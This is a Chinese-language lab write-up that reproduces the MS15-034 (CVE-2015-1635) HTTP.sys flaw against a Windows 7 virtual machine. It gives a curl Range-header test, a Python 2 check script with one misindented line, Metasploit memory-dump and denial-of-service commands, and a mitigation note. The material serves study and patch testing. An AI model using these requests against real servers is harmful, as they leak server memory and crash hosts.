【復現】CVE-2015-1635-HTTP.SYS遠程執行代碼漏洞(ms15-034)


1.1.1  漏洞描述

在2015年4月安全補丁日,微軟發布的眾多安全更新中,修復了HTTP.sys中一處允許遠程執行代碼漏洞,編號為:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻擊者只需要發送惡意的http請求數據包,就可能遠程讀取IIS服務器的內存數據,或使服務器系統藍屏崩潰。根據公告顯示,該漏洞對服務器系統造成了不小的影響,主要影響了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在內的主流服務器操作系統。

1.1.2  漏洞測試

環境搭建:

靶機:  win7(192.168.80.130)

攻擊機: kali(192.168.80.129)

(1)使用curl工具進行測試,測試命令:

curl http://192.168.80.130 -H "Host: 192.168.80.130" -H "Range: bytes=0-18446744073709551615"

測試結果截圖:

 

(2)使用POC測試,代碼為:

import socket

import random

ipAddr = "192.168.80.130"

hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0\r\n\r\n"

req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((ipAddr, 80))

client_socket.send(req1)

boringResp = client_socket.recv(1024)

if "Microsoft" not in boringResp:

    print "[*] Not IIS"

    exit(0)

client_socket.close()

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((ipAddr, 80))

client_socket.send(req)

goodResp = client_socket.recv(1024)

if "Requested Range Not Satisfiable" in goodResp:

    print "[!!] Looks VULN"

elif " The request has an invalid header name" in goodResp:

    print "[*] Looks Patched"

else:

print "[*] Unexpected response, cannot discern patch status"

測試結果截圖:

 

1.1.3  漏洞利用

(1)利用ms15-034漏洞讀取服務器內存數據

借助metasploit平台,截圖如下:

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump 

set rhosts 192.168.80.130

run

 

(2)利用ms15-034漏洞進行ddos攻擊

同樣借助metasploit平台,截圖如下:

use auxiliary/dos/http/ms15_034_ulonglongadd 

set rhosts 192.168.80.130

set threads 10

run

 

攻擊開始后,win7瞬間藍屏然后自動重啟,截圖如下:

 

1.1.4  漏洞修復

禁用IIS內核緩存(可能降低IIS性能)

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM